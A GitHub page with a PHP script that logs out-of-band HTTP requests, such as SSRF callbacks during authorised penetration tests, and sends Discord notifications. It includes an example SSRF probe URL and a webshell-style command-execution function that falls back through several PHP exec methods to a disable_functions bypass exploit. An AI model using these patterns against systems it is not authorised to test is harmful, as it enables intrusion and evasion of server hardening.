-
Notifications
You must be signed in to change notification settings - Fork 0
/
tupoc_oob_phplogger.php
221 lines (177 loc) · 6.29 KB
/
tupoc_oob_phplogger.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
<?php
/*
Title: OOB HTTP Request logger for TuPOC with Discord notification
Author: @osiryszzz
What this script does:
This PHP script will fetch the entire HTTP request from the client, store
the results in the logs, and send you a notification over Discord
How to use this:
Once all is setup, you can test it out this way:
https://youruser.x1.pe/path_to_this_script/yoob-log-notify.php?label=<UNIQUE_ID_CODENAME>
the label is to help you identify which request/function you tested
label doesn't have to be there, you can also omit it.
If you have a SSRF (HTTP) on a target and RoE only allows TuPOC,
you can do the following:
http://vuln.target/page?ssrf=https://youruser.x1.pe/path_to_this_script/yoob-log-notify.php?label=TestingPageSSRF
How to set this up:
The most recent version of notify doesn't have support for the
"-rl" flag anymore, which had TLS checks disabled when used.
When I realiased this I went on and compiled an older version
that still supported it and uploaded the binary in this repo.
If you don't trust it (Osirys is bad and backdoored it), then feel
free to go back on github and find their previous version with support
for that flag and compile it yourself.
From within "/" of your TuPOC (as seen from the chrooted environment),
please, start with "cd ." to make sure you are at the right place.
Create a folder (eg: lamerlolz).
You should have now this FS structure:
/httpdocs/
/bin/
... snip ...
/lamerlolz/
Upload the below onto /lamerlolz/
1. notify's binary path
2. notify's yaml config path
Now, set the values of $notify_bin_path and $notify_yaml_path of this script
to point to that folder in this manner:
"/lamerlolz/notify"
"/lamerlolz/notify_config.yaml"
Then, within "/httpdocs/" create a folder (oob_logs_whatever) for storing the
interaction logs and set its value (/httpdocs/oob_logs_whatever) to $oob_logs_path.
This PHP script should be placed in the same directory where oob_logs_whatever is.
Example syntax of notify.yaml config (replace <stuff> accordingly)
-------------------------------------------
discord:
- id: "notify"
discord_channel: "<chan>"
discord_username: "<nick>"
discord_format: "{{data}}"
discord_webhook_url: "<URL>"
-------------------------------------------
It needs to have the provider set to "discord" and the "id" set to "notify"
or else you will need to change the args in the $cmd variable in this script
to reflect your yaml.
Sure I could add extra config vars like below but be real it's a tiny script
no need for over-engineering.
*/
// Update below
$notify_bin_path="/lamerlolz/notify";
$notify_yaml_path="/lamerlolz/notify_config.yaml";
$oob_logs_path="/oob_logs_whatever/";
// End of edits required
function myshellexec($cfe) {
$res = '';
if (!empty($cfe)) {
if (@function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif (@function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif (@function_exists('shell_exec')) {
$res = @shell_exec($cfe);
}
elseif (@function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif (@is_resource($f = @popen($cfe,"r"))) {
$res = "";
if (@function_exists('fread') &&@function_exists('feof')) {
while (!@feof($f)) {
$res .= @fread($f,1024);
}
}
elseif (@function_exists('fgets') &&@function_exists('feof')) {
while(!@feof($f)) {
$res .= @fgets($f,1024);
}
}
@pclose($f);
}
elseif (@is_resource($f = @proc_open($cfe,array(1 =>array("pipe","w")),$pipes))) {
$res = "";
if(@function_exists('fread') &&@function_exists('feof')) {
while(!@feof($pipes[1])) {
$res .= @fread($pipes[1],1024);
}
}
elseif (@function_exists('fgets') &&@function_exists('feof')) {
while(!@feof($pipes[1])) {
$res .= @fgets($pipes[1],1024);
}
}
@proc_close($f);
}
// see: https://github.com/mm0r1/exploits/blob/master/php-filter-bypass/exploit.php
elseif(@function_exists('pwn')) {
@ob_start();
pwn($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
}
return $res;
}
function getIPAddress() {
//whether ip is from the share internet
if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
}
//whether ip is from the proxy
elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
//whether ip is from the remote address
else {
$ip = $_SERVER['REMOTE_ADDR'];
}
return $ip;
}
function logRequest($targetFile,$oob_notification_filename,$label){
global $notify_bin_path, $notify_yaml_path, $oob_logs_path;
$headerList = [];
foreach ($_SERVER as $name => $value) {
if (preg_match('/^HTTP_/',$name)) {
// convert HTTP_HEADER_NAME to Header-Name
$name = strtr(substr($name,5),'_',' ');
$name = ucwords(strtolower($name));
$name = strtr($name,' ','-');
$headerList[$name] = $value;
}
}
$data = sprintf("%s %s %s\n", $_SERVER['REQUEST_METHOD'], $_SERVER['REQUEST_URI'], $_SERVER['SERVER_PROTOCOL']);
foreach ($headerList as $name => $value) {
$data .= $name.': '.$value."\n";
}
$data .= "\n";
$time_request_inbound=date('Y-m-d H:i:s', $_SERVER['REQUEST_TIME']);
$victim=getIPAddress();
$final_content="\nIncoming HTTP request from ".$victim." at ".$time_request_inbound.
" UTC\nRaw HTTP request dump:\n\n".$data.file_get_contents('php://input');
file_put_contents($targetFile, $final_content."\n");
$label_str="\n";
if (strlen($label) > 0) {
$label=filter_var($label,FILTER_SANITIZE_STRING);
$label_str="\nLabel used: *".$label."*\n";
}
$not_str="**OOB just triggered on TuPOC**".$label_str."Check log file: *".basename($targetFile)."*\n";
file_put_contents($oob_notification_filename,$not_str);
$cmd = $_SERVER['HOME'].$notify_bin_path." -id notify -provider discord -provider-config ".
$_SERVER['HOME'].$notify_yaml_path." -rl 1 -bulk -data ".$oob_notification_filename;
$output=myshellexec($cmd." 2>&1");
}
$label='';
if (isset($_GET['label'])) {
$label=$_GET['label'];
}
$filename=".".$oob_logs_path."post-".time().".log";
$oob_notification_filename=".".$oob_logs_path."notification_summary-".time().".log";
logRequest($filename,$oob_notification_filename,$label);
?>